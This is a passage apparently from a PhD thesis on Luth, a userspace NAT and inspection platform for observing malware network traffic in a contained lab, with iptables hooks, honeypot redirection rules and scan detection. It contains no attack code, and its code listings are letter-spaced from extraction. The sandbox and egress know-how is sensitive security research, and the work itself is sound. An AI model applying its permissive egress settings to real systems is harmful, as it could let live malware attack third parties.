“To redirect in Lab”. The experiment is then stopped and rebooted with the set of previously identified
communications updated with the latest discovery. A new reboot is performed upon the apparition of
a new unknown service, etc. Before implementing this recursive approach, we need to find a way to
redirect the packets belonging to “To redirect in Lab” and “To identify” groups.
4.1.1 The Need for NAT
In the IPv4 Internet, the routing, i.e the process of carrying a packet to its correct destination, is performed
according to the destination address present in the IPv4 packets. There are two kinds of IPv4 addresses
[33]:
public: The ones known by any router in the Internet,
private: The ones only known by local routers.
Without considering multicast, anycast and broadcast protocols, a server receiving a packet with the
source address sIP, answers using a packet with destination address sIP. If sIP is a public address,
the packet sent to the Internet will come back to the initial sender. If it is private, the Internet routers
do not know sIP. Therefore if the server is not local, at least one router will not be able to route the
answer packet. When a router or more generally an interconnection device modifies the destination or
the source2 of one packet, it modifies its receiver or, the receiver of its answer. This feature has been used,
among others, to cope with the lack of public IPv4 addresses in the Internet. Indeed, if a person or group
of persons owns 10 computers with a single public IPv4 address, it cannot give Internet connectivity
to the 10 computers without changing the addresses of the packets. The Network Address Translator-s
(NAT) propose a way to do so [39]. In this case private IPv4 addresses can be given to 9 computers and
2Or both.
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Figure 4.2: Dynamic monitoring of malware communications.
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the public to the last one, which will act as a NAT router. The latter then makes the needed translations
so that the public address is shared among the 9 computers. To redirect communications labeled “To
identify” and “To redirect in Lab” we developed the NAT components to make LUTH behave like a NAT
router as depicted in [60].
Problem 1 Once the problem of redirections solved, three are remaining:
1. how to classify unknown services,
2. how to record the already classified services,
3. how to automate as safely as wanted the experiment.
4.1.2 The Rule to Perform the Dynamic Analysis
These problems are resolved making quite an extensive use of Luth’s functionalities. We do think the
best way to understand the idea is to see the rule we use to dynamically analyze malware depicted in
Listing 4.1. This rule is parameterized by five addresses:
1. mw_ip: private, the computer executing the malware,
2. lab_net: private, the net of the computers inside our lab,
3. f k_ip: private, the address of the honeypot3,
4. gw_ip: public, the address of the gateway in the network interconnected to the Internet,
5. lab_gw_ip: private, the address of the gateway in the network interconnected to the lab network.
There are five different NAT rules:
NR1: Redirect the queries of the malware towards services using TCP on destination ports 445, 139
and 135 to the honeypot. The honeypot will bind the respective vulnerability emulators of the
nepenthes honeypot in these ports. We chose to make this static decision for two reasons:
1. The malware collected with the nepenthes honeypot use most of the time vulnerabilities
targeting services bound on these ports.
2. We have not developed vulnerability identifiers and monitoring MIs. Therefore we can only
statically make this distinction for now.
The max_simul = 10 parameter says that at most 10 simultaneous redirections are performed.
The rand = yes parameter implements a probabilistic redirection paradigm so that the result of
the scanning of a network does not only detect the first 10 addresses. Indeed, this result is very
unlikely in the Internet.
NR2: Redirect all the other ports towards a specifically developed server over TCP, bound in port 40000,
that just reads all the bytes sent without answering anything. This aims at letting the malware send
the first messages over TCP. Then, by analyzing thes messages, Luth’s application identifiers MI
over TCP identify the protocol over TCP used in this communication. The max_simul = 30 states
that more than 30 simultaneous redirections are not allowed.
3We have in a first step, used a single server to reduce the computing costs. However the approach can be generalized to
multiple servers as depicted in Figure 4.2.
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NR3: Redirect the remaining sessions to a “pit” which does not answer anything.
NR4: Redirect the communications of the honeypot (Vm2 in Figure 4.3) targeting the gateway server
(gw_ip in Figure 4.3) to the malware (Vm1 in Figure 4.3). This trend is due to situations where
once the malware detects it has a private address (mw_ip) natted by a public address (gw_ip)4, and
wants to make an attacked computer download a new instance of the malware from mw_ip. Let
us say the malware performed a successful intrusion in a host in the Internet (here emulated by
Vm2). To do so, as mw_ip is private, it is useless to send its own mw_ip address as the destination
address of the post intrusion download query (here performed by Vm2). Instead, the latter sends
the public address (gw_ip) hoping that in this situation, the NAT router (Luth) owning the public
address (gw_ip) will translate the download attempt (towards gw_ip, and here from hp_ip) and
redirect it to the malware’s private address (mw_ip).
NR5: Give internet access to the download tries of the Nepenthes honeypot.
Listing 4.1: Monitoring malware
NAT(OIpv4 ( from=mw_ip , t o = no t ( l a b _ n e t / 24 o r gw_ip ) ) /
OTcp ( s r _ p o r t =445 or 139 or 135 , r and=yes , max_simul =10) −>
NIpv4 ( d s t = f k _ i p ) /NTcp (∗ NR1 ∗ ) |
OIpv4 ( from=mw_ip , t o = no t ( l a b _ n e t / 24 o r gw_ip ) ) /
OTcp ( s r _ p o r t = no t (445 or 139 or 135 ) , max_simul =30) −>
NIpv4 ( d s t = f k _ i p ) /NTcp ( d p o r t =40000) (∗ NR2 ∗ ) |
OIpv4 ( from=mw_ip , t o = no t ( l a b _ n e t / 24 o r gw_ip ) ) /OTcp −>
NIpv4 ( d s t = f k _ i p ) /NTcp ( d p o r t =40001) (∗ NR3 ∗ ) |
OIpv4 ( from= fk_ ip , t o =gw_ip ) /OTcp −>
NIpv4 ( d s t =mw_ip ) /NTcp (∗ NR4 ∗ ) |
OIpv4 ( from= fk_ ip , t o = no t ( l a b _ n e t / 24 o r gw_ip ) ) /OTcp −>
NIpv4 ( s r c =gw_ip ) /NTcp (∗ NR5 ∗ )
) ; ;
INSP ( [Arp (∗ MI1 ∗ ) |
L2N ( . . ) / Spm ( . . ) (∗MI2∗ ) / Ipv4 / [
MTcp / TPort ( c l _ a d d r =mw_ip , s r _ a d d r = no t ( l a b _ n e t / 24 o r gw_ip ) ,
s r _ p o r t =445 or 139 or 1 3 5 ) / Void |
Tcp / [ TPort ( c l _ a d d r =mw_ip , s r _ a d d r = no t ( l a b _ n e t / 24 o r gw_ip ) ,
s r _ p o r t = no t (445 or 139 or 1 3 5 ) ) / [
I rc Id ( . . ) (∗MI3 ∗ ) |
HttpId ( . . )
] |
TPort ( c l _ a d d r = fk_ ip , s r _ a d d r = no t ( l a b _ n e t / 2 4 ) ) / [
CSend | Link | Http ( c h e ck_ho s t = n ep en t h e s ) ]
] |
Udp / UPort ( c l _ a d d r =( l a b _ n e t / 24 && no t l a b _ g t _ i p ) ,
s r _ a d d r = l a b _ g t _ i p , s r _ p o r t =53 ) /Dns
] ] ) ; ;
The rules inside the NAT (..) parenthesis represent the NAT rules at the begining of the experiment.
The reader should notice that all the malware communications do not, in a first time, go outside the Lab.
Therefore the only way a malware has to attack a third party ADPS is to exploit a bug in Luth. We won’t
4For example, by asking in its C&C the actual source address of the communication observed by one of the botnet’s master.
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Figure 4.3: Platform to perform the dynamic monitoring of malware communications.
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address here again the efforts done and the necessary remaining work to assume the absence of such
bugs. Let us remind the three problems mentioned in Problem 1:
1. how to classify unknown services,
2. how to record the already classified services,
3. how to automate as safely as wanted the experiment.
We have here neither classified, nor recorded already classified services. However, to automate
as safely as wanted the experiment, first, its first iteration should be considered as safe. By the NAT
rules we have presented, during the first iteration of the experiment, no communications are sent to the
Internet. That way, we prevent the possibility to attack a third party ADPS. Therefore, we consider the
first iteration of the experiment as safe. The following section aims at showing how these problems are
solved during the next iterations of the experiment.
4.1.3 Luth’s Iterative Process to Analyze Network Communications
We describe in this section the details iterative process. First, we describe the ArpMI (MI1) ensures that
a host can be identified by its source IPv4 address. The Spm MI (MI2) aims at identifying and blocking
network attacks redirected in the Lab to prevent the flooding of the Lab network. These two MIs target
are focused on the safety mentioned the third item of Problem 1. The last two MI, IrcId and Htt pId,
implement the classification and recording of unknown communications, while ensuring the safety of the
next iteration of the experiment. In other words, they address the three problems of Problem 1.
4.1.3.1 Arp (MI1)
The inspection policy identifies network entities by means of their IPv4 addresses. Therefore, if for ex-
ample the malware impersonates another address, it’s activity won’t be monitored anymore. Considering
the interconnection technology we use in our experiment is ETHERNET (Section 4.3.1), the ARP pro-
tocol can be used to effectively impersonate other computers by means of “Arp cache poisoning” [53].
The ARP protocol is used to discover the mapping between IPv4 and ETHERNET mac addresses in
an ETHERNET Local Area Network (LAN). The “Arp cache poisoning” works by sending malicious
messages which pretend an attacked IPv4 address, A, belongs to the mac address of the computer, M,
wanting to impersonate A. That way instead of A, M receives the messages with the destination address
A. There are three hosts in the Lab LAN, and we know the IPv4 addresses belonging to the three hosts,
together with their ETHERNET MAC address. Therefore the ArpMI is developed to drop ARP spoofing
requests, using the known mapping between IPv4 and MAC addresses.
4.1.3.2 Spm (MI2)
The Spm MI is quite a rudimentary IDS detecting network attacks. It considers such an attack when the
ratio between the number of SYN segments and the number of a set of packets exceeds the threshold
given in the parameter of the MI [60] after having observed the number of packets given in the parameter
nb_pkt. The packets are grouped into three sets in according to the target of a possible attack:
network scan : a network address at a single port,
port scan : a single address at a set of ports,
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syn flood : a single address at a single port.
Network addresses are represented by means of CIDR notations:
< ipv4_address> / < network_mask > [38].
We use boolean expressions (seeUPort in [60]) on TCP ports to represent set of ports, like that:
type p o r t
type ’ a boo l _ exp r = Val of ’ a
| Or of ( ’ a boo l _ exp r ∗ ’ a boo l _ exp r )
| And of ( ’ a boo l _ exp r ) | Not of ( ’ a boo l _ exp r )
type po r t _ b o o l _ e x p r = p o r t boo l _ exp r
(∗ t o i l l u s t r a t e how t h e s e boo l e an e x p r e s s i o n s a r e used we i n t r o d u c e
∗ t h e f o l l ow i n g ma t ch_po r t _boo l _ exp r and c r e a t e _ p o r t f u n c t i o n s :
∗ v a l ma t ch_po r t _boo l _ exp r boo l _ exp r : p o r t _ b o o l _ e x p r −> p o r t −> boo l
∗ v a l c r e a t e _ p o r t : i n t −> p o r t
∗ u s i ng t h e s e f u n c t i o n s , we can e x p r e s s t h a t
∗ l e t twen ty_ two = c r e a t e _ p o r t 22 i n
∗ l e t t h i r t y _ t h r e e = c r e a t e _ p o r t 33 i n
∗ ma t ch_po r t _boo l _ exp r ( Or ( Val twenty_two , Val t h i r t y _ t h r e e ) , twen ty_ two ) = t r u e ,
∗ ma t ch_po r t _boo l _ exp r ( Not ( Val twen ty_ two ) , c r e a t e _ p o r t twen ty_ two ) = f a l s e
∗ )
These expressions are compiled into a set of sorted intervals, reducing the evaluation of the boolean
expression, to the checking of whether an address or port is inside one of the intervals. When matching a
packet containing a TCP SYN segment targeting the address a on port p, the Spm creates three structures:
• (a/24, p) : an IPv4 network address and a port,
• (a,Val p) : an IPv4 address and a port boolean expression,
• (a, p) : an IPv4 adress and a port.
Each of these structures have moreover:
• a timeout, that is reinitialized each time a packet is considered to be related to the structure,
• the number of segment and SYNs incremented each time a segment is considered by the structures.
Of course, the number of SYNs is only incremented if the segment has the flag ’S’.
When another segment (a2, p2) is analyzed to the SpmMI, the structures are updated this way:
• 
(a/24, p)with incrementing the counters and updating the related timeout ⇔ a2 ∈ a/24
(a/16, p)idem ⇔ a2 /∈ a/24∧a2 ∈ a/16
(a/8, p)idem ⇔ a2 /∈ a/16∧a2 ∈ a/8
(a/24, p) without incrementing the segment counters and updating the timeout else
• 
(a,Val p)with incrementing the counters and updating the related timeout ⇔ a2= a∧ p2 ∈Val p
(a,(Val p) Or (Val p2))idem ⇔ a2= a∧ p2 /∈Val p
(a,Val p) without incrementing the segment counters and updating the timeout else
100
CHAPTER 4, SECTION 4.1
• {
(a, p)with incrementing the counters and updating the related timeout ⇔ a2= a∧ p2= p
(a, p) without incrementing the segment counters and updating the timeout else
If the segment towards (a2, p2) is a SYN, and all the previous computations go to the else cases, a new
triple structure is created with (a, p). Finally once, the packet count of syn segments divided by the
number of packets related to one structure is superior to the threshold the packet is dropped.
4.1.3.3 HttpId and IrcId (MI3)
The last MIs to describe are Htt pId and IrcId, which aim at identifying IRC and HTTP protocols
and at implementing the recursive approach of our experiment. We choose to only describe the
functioning of the IrcId MI, as the Htt pId is working similarly. The aim of IrcId is to identify among
the communications labeled “To identify”, the ones targeted to a server, parameterized by an address
irc_srv_ip and TCP destination port irc_srv_port5, which speaks a dialect of the Irc protocol identified
by the irct parameter.
Once the server is identified (1. of Problem 1), i.e. this information is recorded (2. of Problem 1) by
means of two added NAT and INSP rules that configure the safety of next iteration (3. of Problem 1).
These two rules are parameterized by the parameters of the IrcId depicted in Listing 4.26.
Listing 4.2: IrcId Parameter
I rc Id ( i r c t = i r c s , p u b l i c _ i p =gw_ip ,
n ew_ r u l e _ l a y e r i n g =L2N ( . . ) / Spm ( . . ) / Ipv4 ( . . ) /
Rt (max_bw=50kbs , from= p r e v i o u s _ c l i e n t , t o =∗ ) /
Tcp ( tm=24 hr ) /
TPort ( c l _ a d d r = p r e v i o u s _ c l i e n t , s r _ a d d r = p r e v i o u s _ s e r v e r ,
s r _ p o r t = p r e v i o u s _ s e r v e r ) / I r c ( i r c t = i r c s ) )
The public_ip gives the public address used in the experiment. This address is used to compute the
NAT rule to add for letting the non identified protocol speak to the Internet. The new_rule_layering
argument describes the layering to add in the INSP rule of the next iteration of the experiment, once
a service is identified as belonging to the protocol to identify. As depicted in [60], max_bw stands for
maximum bandwith. Therefore, the written RT MI just ensures that no more than 50kbs are sent to the
Internet. The TPort MI verifies that the malware talks to the identified servers address and ports. The
last Irc(irct = ircs) MI ensures that the service identified by the IrcId during a previous iteration, talks
standard or RFC compliant [37], Irc. Indeed,
• irct stands for irc type, and
• ircs stands for irc standard.
However, another layering could be used to configure this appended rule. For example, a more permissive
layering is depicted in Listing 4.3.
5A layeringUdp/../IrcId is not considered as valid by Luth’s current implementation.
6The Htt pId works similarly.
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Listing 4.3: IrcId Other parameter
I rc Id ( i r c t = i r c s , p u b l i c _ i p =gw_ip ,
n ew_ r u l e _ l a y e r i n g =L2N ( . . ) / Ipv4 ( . . ) /
Tcp ( tm=24 hr ) /
TPort ( c l _ a d d r = p r e v i o u s _ c l i e n t , s r _ a d d r = p r e v i o u s _ s e r v e r ,
s r _ p o r t = p r e v i o u s _ s e r v e r ) / Void
Indeed, thanks to the layerings in the new_rule_layering parameters, the user can configure as precisely
as wanted the safety of the experiment.
The mechanism used to substitute the values of previous∗ variables here is similar to the computing
of data channels in FTP MIs. However, to inform Luth that the experiment should be rebooted once
the new layering is incorporated in the new rule, the IrcId MI’s do not output Add_child decisions,
but New_rule ones. The only difference is that once the layering computed by analyse_res_∗ functions
reaches the root of the inspection tree, the malware communication analyzer stops all the experiment and
computes a new rule this way:
1. Appending a NAT rule to give internet connectivity for this newly identified service,
2. Appending the computed layering by means of the join function into the inspection tree.
For a more illustrative example, the rule computed once an IRC(irct = ircs) server is identified can
be seen in Listing 4.4:
Listing 4.4: Rule after first iteration
NAT(
OIpv4 ( from=mw_ip , t o = i r c _ s r v _ i p ) /OTcp ( d p o r t = i r c _ s r v _ p o r t ) −>
NIpv4 ( s r c =gw_ip ) /NTcp |
< . . > (∗ p r e v i o u s _ r u l e ∗ )
) ; ;
INSP (Arp |
L2N ( . . ) / Spm ( . . ) / [
(∗ s t a r t o f appended MIs ∗ )
Ipv4 ( . . ) / [
Rt (max_bw=50kbs , from=mw_ip , t o =∗ ) /Tcp ( . . ) /
TPort ( c l _ a d d r =mw_ip , s r _ a d d r = i r c _ s r v _ i p , s r _ p o r t = i r c _ s r v _ p o r t ) /
I r c ( i r c t = i r c s ) (∗NMI∗ ) ]
(∗ end of appended MIs ∗ )
| < . . > (∗ p r e v i o u s r u l e ∗ )
]
]
) ; ;
By this mechanism, we propose a solution to the 1st and 2nd items of Problem 1. The third item
addresses the safety of the experiment. The safety of the layering used to inspect the identified Irc
communication going to the Internet (NMI) is open to debate. For example, the need for the Spm or the
RT MI is subjective. Indeed, one could say they are useless, others could argue it’s too dangerous to let
a malware send 50kbs in the Internet. The reader should however remember that the newly computed
layering (NMI) is factorized by means of the join algorithm (Section 2.2.2.5). Therefore, the malware
will not be able to send n∗50kbs,n being the number of identified Irc(irct = ircs) communications, but
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50kbs at most to all these identified servers. Following the “paranoid” paradigm, this layering does not
among others, prevent the malware from performing naptha attacks (Section 1.1.2.2), even if it could be
done using the max_session parameter of the Tcp MI7. These configurations result from our subjective
point of views. However, we should take into account that the solutions considered as ’right’ by the
community working in this field of research, has, up to now, only been motivated by the observation of
a malware that validates or contradicts one of the previous statements. Therefore, there are up to now
no scientific justifications to argue in favor of a layering against another one, and our contribution does
not solve this problem. However, for the reasons we mentioned in Chapter 2, Luth is flexible enough to
express all possible subjective point of views:
From the most paranoid: which will have less information but which will hardly attack a third party
ADPS.
To the most adventurous: which will have greater probability of getting more information and more
attacks towards third party ADPS.
We can now justify that we effectively propose a solution to the last item of Problem 1: “how to automate
as safely as wanted the experiment.”, focusing our contribution to the implementation of the “as safely
as wanted” words.
4.2 Implementation
The main work left to do is divided between the implementation of Network Address Translation, and
the tuning of decisions and “reduce” function. The implementation of Network Address Translation has
been done in userspace, without relying on the NAT functionalities provided by the SNAT, DNAT and
connmark features of the Netfilter framework for the reasons depicted in Section 4.2.1.1. Even if quite
challenging, the complete implementation of Nat functionalities in userspace is possible thanks to the
Netfilter functionalities depicted in Section 4.2.1.28. Finally, as we won’t introduce more decisions in
the DS set in this Ph.D, we finally present the “reduce” and related DS decisions (Section 2.2.2.2) in
Section 4.2.2.
4.2.1 Network Address Translation
This section first addresses the reasons why we fully implement Nat functionalities in userspace. Then,
after performing an overview of Netfilter, we present how these functionalities are implemented and
integrated to the “inspect” function of Luth.
4.2.1.1 The Need for Userspace NAT
The Nat functionalities offered by the SNAT, DNAT and connmark features of the Nat router present in
the GNU/Linux operating system do not implement the random redirections needed by the NR1 rule of
Listing 4.1. The implementation of this feature has motivated the work done in [56]. This solution works
by dynamically editing the configuration of already available DNAT and connmark features. It presents
however three drawbacks:
7We choose not to take this problem into account because we do think the job done by an IRC server is light enough, unlike
the job done by an SSH or HTTP server, so that it can handle considerable amount of sessions at the same time.
8We’d like here take the time to thank the developpers of Netfilter for developing such an extensible framework.
103
CHAPTER 4, SECTION 4.2
1. It’s developed in an unsafe way (non proved C code),
2. It presents the same limitations as the other midpoint inspection devices. Indeed, it can be con-
figured to translate the parameters of a set of monolithic protocol layerings. Even if we have not
taken the time to study a a nat function similar to our inspect function, this work seems promising.
Here again, we plan to implement such a prototype in Luth which is in userspace.
3. It’s difficult to integrate it with the “inspect” algorithm.
For these reasons, we develop a basic Network Address Translator usingmonolitic protocol layerings
and providing random redirections using a statically type-safe language, in userspace. The problems we
have identified and solved in the following sections should therefore be seen as the first steps towards
the implementation of a non monolithic nat router interacting with the “inspect” algorithm of a midpoint
inspection device. This implementation has been done using the features of Netfilter we describe in the
following section.
4.2.1.2 Netfilter Overview
As depicted in Section 4.1.1 performing network address translations modifies the routing of a packet.
Netfilter, GNU/Linux’s framework to implement firewall and NAT router, is a set of different tables,
inserted in the different chains traversed by a packet when being processed by this operating system.
The interactions between the tables, the chains and the routing decisions are depicted in Figure 4.4.
Netfilter has five built-in9 chains:
PREROUTING : Labeled PRE, which analyzes packets before they are routed.
INPUT : Labeled INPUT, which analyzes packets addressed to the computer executing Netfilter, before
reaching the respective network programs.
FORWARD : Labeled FWD, which analyzes packets that go through the computer executing Netfilter.
OUTPUT : Labeled OUT, which analyzes packets having a source address belonging to one of the
interfaces of the computer executing netfilter.
POSTROUTING : Labeled POST, which analyzes packets going in the Internet, after they have been
routed.
The NAT is configured in the Snat and Dnat tables. Snat stands for Source natting, and Dnat for
destination natting. Said otherwise, the NAT configured in the Snat table will translate the source ad-
dress10 of a client and, as a consequence, the destination of its server answers. The NAT configured in
the Dnat table does the analogous process. One should notice that unlike for example the mangle table,
the Dnat is only present in PREROUTING and OUTPUT chains. Similarly, the Snat is only present in
the POSTROUTING chain11.
9A user has the possibility to add new chains.
10And eventually ports.
11The reason behind the position of the Dnat chain is that it must be before the routing process. Indeed, changing the
destination address of a packet changes the routing of the packet. One of the reasons why Snat might have been put in
POSTROUTING is to prevent mistaking packets sent by the host from the ones Snatted by the host in the OUTPUT chain.
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Figure 4.4: Netfilter, iptables and routing in GNU/Linux.
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The configuration of netfilter is done by means of the “iptables” utility [26]. This utility configures
what decisions should be taken concerning selected packets. The selection criterion involves a predefined
set of packets properties together with its associated set of automatically or manually updated state
variables. Netfilter gives the possibility to take five different decisions [19]:
NF_ACCEPT : continue traversal as normal.
NF_DROP : drop the packet; don’t continue traversal.
NF_STOLEN : I’ve taken over the packet; don’t continue traversal.
NF_QUEUE : queue the packet (usually for userspace handling).
NF_REPEAT : call this hook again.
The NF_QUEUE decision enables, as said in Section 2.3.2, to select the packets we want netfilter
to send to our process in userspace. The communication between the userspace program and netfilter is
achieved by means of the libnetfilter_queue library. This library gives the opportunity to communicate a
verdict by using the two functions depicted in Listing 4.5.
Listing 4.5: Verdict API
i n t n f q _ s e t _ v e r d i c t (
s t r u c t n fq_q_hand l e ∗qh , u _ i n t 3 2 _ t id , u _ i n t 3 2 _ t v e r d i c t ,
u _ i n t 3 2 _ t d a t a _ l e n , unsigned char ∗ buf ) ;
/∗ qh : f i l e d e s c r i p t o r t o communicate wi th n e t f i l t e r .
i d : p a c k e t i d e n t i f i e r .
v e r d i c t : t h e d e c i s i o n t o t a k e .
buf : p o i n t e r t o t h e modifed p a ck e t
(NULL means t h e p a ck e t i s no t mod i f i ed ) .
d a t a _ l e n : l e n g t h o f t h e mod i f i ed p a ck e t
( With NULL t h e l e n g t h shou l d be 0 ) .
∗ /
i n t n f q _ s e t _ v e r d i c t _ma r k (
s t r u c t n fq_q_hand l e ∗qh , u _ i n t 3 2 _ t id , u _ i n t 3 2 _ t v e r d i c t ,
u _ i n t 3 2 _ t mark , u _ i n t 3 2 _ t d a t a _ l e n , unsigned char ∗ buf ) ;
/∗ same as s e t _ v e r d i c t on ly t h e mark mark i s g i ven t o t h e p a ck e t w i th
i d i d . BEWARE: t h e mark i s t h e one matched by t h e ‘ ‘ mark ’ ’ s t a t e
v a r i a b l e hand l ed by t h e ‘ ‘ mark ’ ’ module , no t t h e ‘ ‘ mark ’ ’ s t a t e
v a r i a b l e hand l ed by t h e ‘ ‘ connmark ’ ’ module .
∗ /
There is no manual for this library, therefore the conclusions written in commentary are open to
debate, as they result from personal conclusions made after experimenting the library. After having
presented the notions necessary to implement the NAT in userspace, the next section deals with its actual
implementation. This implementation addresses two different problems:
1. The Integration with Netfilter,
2. The Integration with the inspect function of Luth,
We address both problems in the following two sections.
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4.2.1.3 Integrating Userspace NAT with Netfilter
Problem 2 The implementation of userspace Nat needs first to interact with Netfilter to:
1. Obtain the packets to analyze, and
2. communicate the modified version of the packet to Netfilter,
3. at precise locations in the routing process. As depicted earlier the source address can only be
changed in POSTROUTING chains, and the destination address in PREROUTING chains.
There are three functionalities provided by Nefilter that permit to solve these problems in userspace:
1. The NF_QUEUE decision so that netfilter sends packet and wait answers, (1. of Problem 2)
2. The possibility to update a variable called “mark”, associated to each packets. This feature is used
to store in the packet a state used by LUTH. This will be used to send the packet to modify in
appropriate locations (2. of Problem 2)
3. The nfq_set_verdict and nfq_set_verdict_mark decisions, to modify the mark, source and destina-
tion addresses of the packets. This will be used to edit and consult the previously mentioned mark
(3. of Problem 2).
Finally, as we implement a full Nat router in userspace, we need to take into account all the packets
involved in a communication. Among others, this means that during a SNAT-ed session, the packets
from the client should have their source address changed. Similarly, server packets should have their
destinations address changed. The analogous requirements are imposed by DNAT-ed sessions.
The INSP rule used in our dynamic analysis only accepts three different types of communications:
1. Redirected communication to honeypots: labeled “To identify” and “To redirect in Lab”.
2. Communications sent to the Internet: labeled “To send in Internet”.
3. Communication with the DNS server which is in this platform executed in the same host as Luth
(which can be considered as “To send in Internet”).
The rules depicted in Figure 4.5 and in Listing 4.6 exist for the following reasons:
• The client packets of the first type of communication must be Dnated in PREROUTING (PR.1),
• The server packets of the first type of communication must be Snated in POSTROUTING (PO.5),
• The client packets of the second type of communications must be Snated in POSTOURING (PO.4),
• The server packets of the second type of communications must be Dnated in PREROUTING
(PR.2),
• The client packets of the third type of communications must be inspected. This can be done
anywhere, but as they are already caught in PR.1, we don’t add a new rule for that. (PR.1)
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Internet
Laboratory
Fake ServersMalware
PREROUTING (PR.1)
POSTROUTING (PO.5)
POSTROUTING (PO.2)
  PREROUTING (PR.2)
  POSTROUTING (PO.4)
To send in the Internet
To identify
To redirect in Lab
Figure 4.5: Illustration of the location of iptables rules.
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• The server packets of the third type of communications will only be caught in POSTROUTING
rules. Indeed, the DNS server is executed in the same host as Luth. Therefore, packets from the
DNS server to the malware go through the path OUTPUT-POSTROUTING (Figure 4.4). We add
another POSTROUTING rule (P0.2) to differentiate them from the packets that go through all
the PREROUTING rules without having been inspected. Indeed, when all the buffer involved in
the queues used to communicate with netfilter are full (Section 2.3.2), packets traverse the chains
without being inspected.
Listing 4.6: Hooking netfilter for userspace natting
# PREROUTING r u l e s
# PR . 1 i n s p e c t p a c k e t s coming from malware and honeypo t s
i p t a b l e s − t mangle −A PREROUTING −m physdev −−physdev−i s−i n \
− j NFQUEUE −−queue−num 0
# PR . 2 s n a t t e d p a c k e t s go ing back from i n t e r n e t
i p t a b l e s − t mangle −A PREROUTING − i $ i f \
− j NFQUEUE −−queue−num 4
# POSTROUTING r u l e s
# PO. 1 Luth s a i d we a r e done ( p a ck e t dropped , a c c e p t e d (DNS) or
# accep t ed , and Dnated )
i p t a b l e s − t mangle −A POSTROUTING −m mark −−mark 0x04 / 0 x f f \
− j ACCEPT
# PO. 2 answer s from s e r v e r s i n t h e gateway (DNS)
i p t a b l e s − t mangle −A POSTROUTING −s $ l a b _ g t _ i p \
−d l a b _ n e t −m mark −−mark 0x00 / 0 x f f − j NFQUEUE −−queue−num 2
# PO. 3 a l l r ema i n i ng p a c k e t s wi th mark 0 must be dropped
# (NFQUEUE b u f f e r s f u l l )
i p t a b l e s − t mangle −A POSTROUTING −m mark −−mark 0x00 / 0 x f f − j DROP
# PO. 4 s n a t o f p a c k e t s ‘ ‘To send i n I n t e r n e t ’ ’
i p t a b l e s − t mangle −A POSTROUTING −o $ i f −m physdev \
−−physdev−i s−i n − j NFQUEUE −−queue−num 1
# PO. 5 s n a t o f d n a t t e d ‘ ‘To r e d i r e c t i n Lab / To i d e n t i f y ’ ’
# p a c k e t s go ing back
i p t a b l e s − t mangle −A POSTROUTING −m physdev −−physdev−i s−ou t \
− j NFQUEUE −−queue−num 3
The details of the implementations are quite stodgy and won’t be addressed here. The curious readers
are nevertheless invited to follow these descriptions in [58].
Finally, we should inform the reader that the Nat MIs have been developed taking into account
the consideration depicted in the RFC 5382 [25] without implementing “hairpinning”. “Hairpinning”
involves Snating and Dnating the same packet. We don’t implement this functionality for two reasons:
1. it is more complex than just Snating or Dnating a packet.
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2. We don’t need “hairpinning” to implement our malware’s network communications dynamics anal-
ysis platform.
We have in this section described why and how we implemented the Nat MI described in [60]. The
following section deals with the definition of the DS set and of the “reduce” function first introduced in
Section 4.2.2.
4.2.2 Definition of the DS Set and of the Reduce Function
A last problem the platform needs to solve is to find a way to express in the Luth rule, so that already
identified communications, are not identified again.
To have a better understanding of this problem let us take a closer look on the rule computed after
the identification of an Irc server, as depicted in Listing 4.7, to illustrate a problem the definition of DS
set and “reduce” function address.
Listing 4.7: Rule after first iteration
. . .
INSP (Arp |
L2N ( . . ) / Spm ( . . ) /
Ipv4 ( . . ) / [
Rt (max_bw=50kbs , from=mw_ip , t o =∗ ) /Tcp ( . . ) /
TPort ( c l _ a d d r =mw_ip , s r _ a d d r = i r c _ s r v _ i p , s r _ p o r t = i r c _ s r v _ p o r t ) /
I r c ( i r c t = i r c s ) ] (∗L1 ∗ )
(∗ end of appended MIs ∗ )
| Ipv4 / [
MTcp / TPort ( c l _ a d d r =mw_ip , s r _ a d d r = no t ( l a b _ n e t / 24 o r gw_ip ) ,
s r _ p o r t =445 or 139 or 1 3 5 ) / Void |
Tcp / [ TPort ( c l _ a d d r =mw_ip , s r _ a d d r = no t ( l a b _ n e t / 24 o r gw_ip ) ,
s r _ p o r t = no t (445 or 139 or 1 3 5 ) ) / [
I rc Id ( i r c t = i r c s , . . ) | (∗L2 ∗ )
I rc Id ( i r c t = i r c u , . . ) | (∗L3 ∗ )
I rc Id ( i r c t = i r c p , . . ) | (∗L4 ∗ )
I rc Id ( i r c t = h a l l o , . . ) | (∗L5 ∗ )
HttpId ( . . ) ]
]
| (∗ end of t h e r u l e ∗ )
. .
) ; ;
Up to now, we will say that DS contains Accept and New_rule decisions. In the following lines
we show that without adding another decision, already identified communications would indefinitely be
identified at each iteration.
Let us say that a sequence of packet newRuleSeq is first analyzed by Luth. Then, the sNewRule
segment towards the destination couple (irc_srv_ip,irc_srv_port) arrives. When analyzing this seg-
ment, the layerings L2,L3,L4,L5 (Listing 4.7) output the New_rule decision creating the L1 layer-
ing in Listing 4.7. Let us see the decisions taken by the L2,L3,L4 and L5 layerings more in de-
tail. After inspecting sNewRule, L2 computes New_rule. Taking into account that IRC dialects are
close, L3, L4 or L5 will consider that sNewRule does not give sufficient information to identify it
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as being part of their dialect. However, sNewRule can be close enough to one dialect so that one
these MI are willing the see other segments of the session, conducting to an eventual other New_rule
decision. For this reason, let us say L3 outputs Accept. The computed decision by all the in-
spection tree, is therefore reduce({New_rule,Accept, ...}). So that L1 is computed, we must have
reduce({New_rule,Accept, ...}) = New_rule. The experiment is stopped, L1 is inserted, and the exper-
iment is rebooted. We are now in the second iteration of the experiment. Let us say the malware sends
again the same previous sequence of TCP segments, newRuleSeq and that sNewRule arrives. When
analyzing the sNewRule segment, L1 computes Accept. The decision computed by L2,L3,L4,L5 is
reduce({New_rule,Accept, ...}) = New_rule. Therefore, the decision taken by all the inspection tree
will be reduce({Accept,New_rule ...}) = New_rule. However, this rule will append the same L1 lay-
ering as before to the inspection tree, which will unnecessarily reboot the experiment all the times the
malware sends the sequence newRuleSeq and then sNewRule.
We call this problem New_rule loop. To solve this problem we add the Bu f f er decision to our
decision set. The definition of the “reduce” function and DS set used by our prototype are depicted more
in detail in Listing 4.8.
Listing 4.8: Ds and reduce
type ds =
(∗ dynamic a n a l y z e r ∗ )
New_rule of ( . . )
| Bu f f e r
(∗ f i l t e r ∗ )
| Accept
| Drop
| Add_ch i ld of ( ( . . ) s e t )
(∗ I d s ∗ )
| FloodDrop
(∗ r educe f u n c t i o n used by Luth ∗ )
l e t r e du c e_ coup l e x y =
match ( x , y ) with
